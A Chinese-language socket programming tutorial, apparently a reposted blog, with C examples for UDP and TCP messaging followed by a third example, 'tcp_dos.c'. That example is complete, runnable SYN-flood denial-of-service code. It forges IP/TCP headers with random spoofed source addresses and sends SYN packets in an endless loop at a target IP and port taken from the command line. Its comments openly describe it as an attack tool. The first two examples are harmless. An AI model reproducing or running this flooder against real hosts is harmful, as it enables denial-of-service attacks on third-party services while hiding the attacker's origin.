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通过socket接口传输数据
例1: udp协议的socket传输数据
recv.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <linux/in.h> #include <unistd.h> /* *receive data as "./recv port" */ int main(int argc, char *argv[]) { int sock_fd; struct sockaddr_in myaddr; struct sockaddr_in sendaddr; char buf[1024]; int recv_num; int recvlen; /* if(3 != argc) { printf("argc\n"); exit(1); } */ if(-1 == (sock_fd = socket(PF_INET, SOCK_DGRAM, 0))) { printf("socket\n"); exit(2); } myaddr.sin_family = AF_INET; myaddr.sin_port = htons(atoi(argv[1])); myaddr.sin_addr.s_addr = htonl(INADDR_ANY); if(-1 == bind(sock_fd, (struct sockaddr *)&myaddr, sizeof(struct sockaddr_in))) { perror("bind"); exit(1); } recvlen = sizeof(struct sockaddr_in); recv_num = recvfrom(sock_fd, (char *)buf, sizeof(buf), 0, (struct sockaddr *)&sendaddr, &recvlen); printf("%s\n", buf); /* to.sin_family = AF_INET; to.sin_port = htons(atoi(argv[2])); to.sin_addr.s_addr = inet_addr(argv[1]); int ret = sendto(sock_fd, buf, strlen(buf) + 1, 0, (struct sockaddr *)&to, sizeof(struct sockaddr_in)); if(-1 == ret) { printf("sendto"); exit(2); } */ close(sock_fd); }
send.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <linux/in.h> #include <unistd.h> /* *send data as: "./send xx.xx.xx.xx port message" */ int main(int argc, char *argv[]) { int sock_fd; struct sockaddr_in to; char buf[1024]; char *bp = buf; if(4 != argc) { printf("argc\n"); exit(1); } if(-1 == (sock_fd = socket(PF_INET, SOCK_DGRAM, 0))) { printf("socket\n"); exit(2); } to.sin_family = AF_INET; to.sin_port = htons(atoi(argv[2])); to.sin_addr.s_addr = inet_addr(argv[1]); strcpy(buf, argv[3]); int ret = sendto(sock_fd, buf, strlen(argv[3]) + 1, 0, (struct sockaddr *)&to, sizeof(struct sockaddr_in)); if(-1 == ret) { printf("sendto"); exit(2); } close(sock_fd); }
编译链接以上两段代码, 先执行"./recv 12345", 然后在另一个终端执行"./send 192.168.1.103 12345 abcdefghijklmn", 输出如下:
例2: tcp协议的socket数据传输
server.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <linux/in.h> #include <unistd.h> /* * run command as "./server port" */ int main(int argc, char *argv[]) { int sock_fd; //use to listen struct sockaddr_in myaddr; struct sockaddr_in sendaddr; char buf[1400]; int recv_num; int recvlen; if(2 != argc) { printf("argc\n"); exit(1); } if(-1 == (sock_fd = socket(PF_INET, SOCK_STREAM, 0))) { printf("socket\n"); exit(2); } myaddr.sin_family = AF_INET; myaddr.sin_port = htons(atoi(argv[1])); myaddr.sin_addr.s_addr = htonl(INADDR_ANY); if(-1 == bind(sock_fd, (struct sockaddr *)&myaddr, sizeof(struct sockaddr_in))) { perror("bind"); exit(1); } listen(sock_fd, 20); struct sockaddr_in client_addr; int client_addr_len = sizeof(struct sockaddr); int client_com_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &client_addr_len); recvlen = recv(client_com_fd, buf, sizeof(buf), 0); if(recvlen >= 0) { buf[recvlen] = 0; } else { printf("recv error\n"); } printf("%s\n", buf); //close(sock_fd); close(client_com_fd); }
client.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <linux/in.h> #include <unistd.h> /* * send data as "./send ipaddr port message" */ int main(int argc, char *argv[]) { int sock_fd; //struct sockaddr_in client_addr; struct sockaddr_in server_addr; char buf[1024]; int len; if(4 != argc) { printf("argc\n"); exit(1); } if(-1 == (sock_fd = socket(AF_INET, SOCK_STREAM, 0))) { printf("socket\n"); exit(2); } server_addr.sin_family = AF_INET; server_addr.sin_port = htons(atoi(argv[2])); server_addr.sin_addr.s_addr = inet_addr(argv[1]); connect(sock_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)); strcpy(buf, argv[3]); len = strlen(argv[3]); send(sock_fd, buf, len, 0); close(sock_fd); }
编译链接以上两段代码, 先执行"./server 12345", 然后在另一个终端执行"./client 192.168.1.103 12345 helloWorld"输出如下:
例3: 原始socket发送tcp半连接. 很久以前弄到的一个自杀性网络攻击代码, 如下:
tcp_dos.c
/* dos.c - 一个dos( denial of service:拒绝服务)攻击程序 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <string.h> #include <sys/types.h> #include <sys/time.h> #include <netinet/in.h> #include <linux/ip.h> #include <linux/tcp.h> int sock_fd; /* tcp 伪头部, 计算校验和时需要, 可以参考rfc 793 */ typedef struct psheader { unsigned long saddr; /* 源IP地址 */ unsigned long daddr; /* 目的IP地址 */ char mbz; /* mbz = must be zero, 用于填充对齐 */ char protocal; /* 8位协议号 */ unsigned short tcpl; /* TCP包长度 */ } pheader; /* 一个通用的计算校验和的函数 */ static unsigned short ip_sum ( u_short *addr, int len ) { register int nleft = len; register u_short * w = addr; register int sum = 0; u_short answer = 0; while ( nleft > 1 ) { sum += *w++; nleft -= 2; } if ( nleft == 1 ) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } /* sum = 高16位的值加上低16位 */ sum = (sum >> 16) + (sum & 0xffff); /* 加上近位 */ sum += (sum >> 16); /* 取反,同时变成16位有效 */ answer = ~sum; return (answer); } /* 重新计算ip和tcp头的校验和,并存入相应的协议字段 */ void re_cal_checksum( struct iphdr * ih, struct tcphdr * th ) { pheader ph; char buf[100]; /* 伪头源ip地址 */ ph.saddr = ih->saddr; /* 伪头目的ip地址 */ ph.daddr = ih->daddr; ph.mbz = 0; /* 协议 */ ph.protocal = IPPROTO_TCP; /* tcp包长度 */ ph.tcpl = htons( sizeof( struct tcphdr ) ); memcpy( buf, &ph, sizeof( pheader ) ); memcpy( buf + sizeof(pheader), th, sizeof( struct tcphdr ) ); memset( buf + sizeof(pheader) + sizeof(struct tcphdr), 0, 4 ); th->check = ip_sum( (u_short*)buf, (sizeof(pheader)+sizeof(struct tcphdr)+1)&~1); memcpy(buf, ih, 4*ih->ihl); memcpy(buf+4*ih->ihl, th, sizeof(*th)); memset(buf+4*ih->ihl+sizeof(*th), 0, 4); ih->check=ip_sum( (u_short*)buf, (4*ih->ihl + sizeof(*th) + 1) & ~1); memcpy(buf, ih, 4*ih->ihl); } void init_tcp_ip_head( struct iphdr * ih, struct tcphdr * th, unsigned long dest_ip, unsigned short dest_port) { /* IP版本, 现在基本都用ipv4 */ ih->version = 4; /* ip首部长度, 一般都为20个字节, 由于ihl是表示多少个4字节,因此要除以4,等于5 */ ih->ihl = 5; /* 服务类型 */ ih->tos = 0; /* ip数据包的总长度 */ ih->tot_len = sizeof( struct iphdr ) + sizeof( struct tcphdr ); /* 16位标识 */ ih->id = ( unsigned int )random(); /* 碎片偏移 */ ih->frag_off = 0; /* 8位生存时间 */ ih->ttl = ( unsigned int )random()%150 + 20; /* 指定传输层采用的协议,我们当然要采用TCP咯 */ ih->protocol = IPPROTO_TCP; /* 校验和, 等下会重新计算, 先初始化为0 */ ih->check = 0; /* 源ip地址, 初始化的时候, */ ih->saddr = ( unsigned int )random(); /* 你要攻击的目标IP地址 */ ih->daddr = dest_ip; /* ok, ip 头初始化完毕 */ /* tcp 源端口号, 随便给一个 */ th->source = ( unsigned int )random() % 30000 + 4096; /* 目的端口号,你要攻击对方的端口 */ th->dest = htons( dest_port ); /* 32位序列号,随便给一个 */ th->seq = ( unsigned int )random(); /* 32位确认序列号,由于我们是攻击方,因此这个值可以随便给 */ th->ack_seq = 0; /* tcp 首部长度,一般为20,同样需要除以4 */ th->doff = sizeof( struct tcphdr ) / 4; /* 保留值, 随便给 */ th->res1 = 0; /* 发送端还没发送完成 */ th->fin = 0; /* 用来发起一个连接,此位一定要置1 */ th->syn = 1; /* 重建连接,当然没必要,因此为0 */ th->rst = 0; /* 接受方应尽快把这个报文交给应用层 */ th->psh = 0; /* 确认序号,现在我们是发起连接,不是确认*/ th->ack = 0; /* 紧急指针 */ th->urg = 0; /* 16窗口大小,接受端期望接受的字节数 */ th->window = htons( 65535 ); /* 现在只是初始,等下回校验 */ th->check = 0; /* 16位紧急指针 */ th->urg_ptr = 0; /* OK, tcp 头初始化完毕 */ } void send_connect( int sockfd, char * buf ) { struct iphdr * ih = ( struct iphdr * ) buf; struct tcphdr * th = ( struct tcphdr * )( buf + sizeof(struct iphdr) ); /* 被攻击的机器的地址结构 */ struct sockaddr_in target; target.sin_family = AF_INET; target.sin_port = th->dest; target.sin_addr.s_addr = ih->daddr; /* 发送连接数据 */ int ret; ret = sendto( sockfd, buf, sizeof(struct iphdr)+sizeof(struct tcphdr), 0, (struct sockaddr*)&target, sizeof(target) ); if( ret == -1 ) { perror("send packet"); exit(1); } } int main( int argc, char **argv ) { int i; unsigned short int dest_port; unsigned long int dest_ip; /* 处理用户的命令行输入, 如果用户不指定ip地址的话, 默认是攻击自己, 如果不指定端口号的话,默认就是22 */ if( argc == 1 ){ dest_ip = inet_addr( "127.0.0.1" ); dest_port = htons( 22 ); } else if( argc == 2 ) { dest_ip = inet_addr( argv[1] ); dest_port = htons( 22 ); } else if( argc == 3 ) { dest_ip = inet_addr( argv[1] ); dest_port=ntohs(atoi( argv[2]) ); } else { printf("Usage: %s [你要攻击的ip地址] [你要攻击的port number] \n", argv[0] ); exit( 1 ); } /* 创建一个原始的套接口, 自己封装ip头和tcp头 */ sock_fd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ); if( sock_fd == -1 ) { perror("socket"); exit(1); } /* buf - 用于存储ip 和 tcp头 */ char * buf = malloc( sizeof(struct iphdr) + sizeof(struct tcphdr) ); /* ip 头结构 */ struct iphdr * ih = ( struct iphdr * ) buf; /* tcp 头结构 */ struct tcphdr * th = ( struct tcphdr * )( buf + sizeof(struct iphdr) ); /* 初始化tcp和ip头结构 */ init_tcp_ip_head( ih, th, dest_ip, dest_port ); while ( 1 ) { /* 伪装源ip地址 */ ih->saddr = ( unsigned int )random(); /* 伪装源端口号 */ th->source = ( unsigned int )random() % 30000 + 4096; /* 重新计算 ip头和tcp头的校验和 */ re_cal_checksum( ih, th ); /* 发送连接请求, 开始攻击 */ send_connect( sock_fd, buf ); } }
编译链接执行, 输出如下:
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原文地址:http://www.cnblogs.com/zhanglong71/p/5143705.html